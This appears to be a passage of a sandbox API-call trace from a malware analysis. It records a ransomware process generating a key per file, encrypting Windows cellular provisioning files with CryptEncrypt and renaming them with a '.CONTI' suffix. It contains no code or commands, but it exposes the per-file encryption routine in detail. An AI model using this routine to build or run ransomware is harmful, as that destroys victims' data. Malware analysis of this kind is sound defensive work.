	[0109.858] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.858] CloseHandle (hObject=0x2ec) returned 1
	[0109.858] GetProcessHeap () returned 0x1720000
	[0109.858] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.858] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml"
	[0109.858] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.858] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.859] GetProcessHeap () returned 0x1720000
	[0109.859] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.859] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0109.859] GetProcessHeap () returned 0x1720000
	[0109.859] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b72f48 | out: hHeap=0x1720000) returned 1
	[0109.859] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0109.859] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b41bf0 | out: phKey=0x6b41bf0*=0x6b7f478) returned 1
	[0109.859] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b41bf4, pdwDataLen=0x4fbf86c | out: pbData=0x6b41bf4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0109.860] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.860] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0109.861] GetLastError () returned 0x0
	[0109.861] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=775) returned 1
	[0109.861] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x307
	[0109.861] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.861] SetEndOfFile (hFile=0x2ec) returned 1
	[0109.861] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.861] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.861] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b41bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b41bf4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0109.863] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.863] ReadFile (in: hFile=0x2ec, lpBuffer=0xe980000, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x307, lpOverlapped=0x0) returned 1
	[0109.863] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x307, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x310) returned 1
	[0109.863] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.863] WriteFile (in: hFile=0x2ec, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x310, lpOverlapped=0x0) returned 1
	[0109.863] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.863] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b41be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b41be8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0109.863] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.863] CloseHandle (hObject=0x2ec) returned 1
	[0109.863] GetProcessHeap () returned 0x1720000
	[0109.863] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.863] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml"
	[0109.863] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.863] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.864] GetProcessHeap () returned 0x1720000
	[0109.864] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.864] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0109.864] GetProcessHeap () returned 0x1720000
	[0109.864] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b73f68 | out: hHeap=0x1720000) returned 1
	[0109.864] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0109.864] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b429a0 | out: phKey=0x6b429a0*=0x6b7f6b8) returned 1
	[0109.864] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b429a4, pdwDataLen=0x4fbf86c | out: pbData=0x6b429a4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0109.865] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.865] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0109.865] GetLastError () returned 0x0
	[0109.865] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=855) returned 1
	[0109.866] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x357
	[0109.866] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.866] SetEndOfFile (hFile=0x2ec) returned 1
	[0109.866] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.866] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.866] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b429a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b429a4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0109.868] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.868] ReadFile (in: hFile=0x2ec, lpBuffer=0xe980000, nNumberOfBytesToRead=0x357, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x357, lpOverlapped=0x0) returned 1
	[0109.868] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x357, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x360) returned 1
	[0109.868] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.868] WriteFile (in: hFile=0x2ec, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x360, lpOverlapped=0x0) returned 1
	[0109.868] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.868] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b42998*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b42998*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0109.868] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.868] CloseHandle (hObject=0x2ec) returned 1
	[0109.868] GetProcessHeap () returned 0x1720000
	[0109.868] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.868] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml"
	[0109.868] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.868] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.869] GetProcessHeap () returned 0x1720000
	[0109.869] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.869] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0109.869] GetProcessHeap () returned 0x1720000
	[0109.869] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bce18 | out: hHeap=0x1720000) returned 1
	[0109.869] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0109.869] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b43be0 | out: phKey=0x6b43be0*=0x6b7f4f8) returned 1
	[0109.869] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b43be4, pdwDataLen=0x4fbf86c | out: pbData=0x6b43be4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0109.870] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.870] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0110.471] GetLastError () returned 0x0
	[0110.473] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=707) returned 1
	[0110.473] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0110.473] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.473] SetEndOfFile (hFile=0x2ec) returned 1
	[0110.473] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.473] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.473] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b43be4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b43be4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0110.475] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.475] ReadFile (in: hFile=0x2ec, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2c3, lpOverlapped=0x0) returned 1
	[0110.475] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2c3, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2d0) returned 1
	[0110.475] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.475] WriteFile (in: hFile=0x2ec, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.475] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.475] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b43bd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b43bd8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0110.475] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.475] CloseHandle (hObject=0x2ec) returned 1
	[0110.475] GetProcessHeap () returned 0x1720000
	[0110.475] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.782] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml"
	[0110.782] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.782] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.782] GetProcessHeap () returned 0x1720000
	[0110.783] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.783] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0110.783] GetProcessHeap () returned 0x1720000
	[0110.783] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b72890 | out: hHeap=0x1720000) returned 1
	[0110.783] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0110.783] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6569168 | out: phKey=0x6569168*=0x17c7770) returned 1
	[0110.783] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656916c, pdwDataLen=0x4fbf86c | out: pbData=0x656916c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0110.783] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml")) returned 0x20
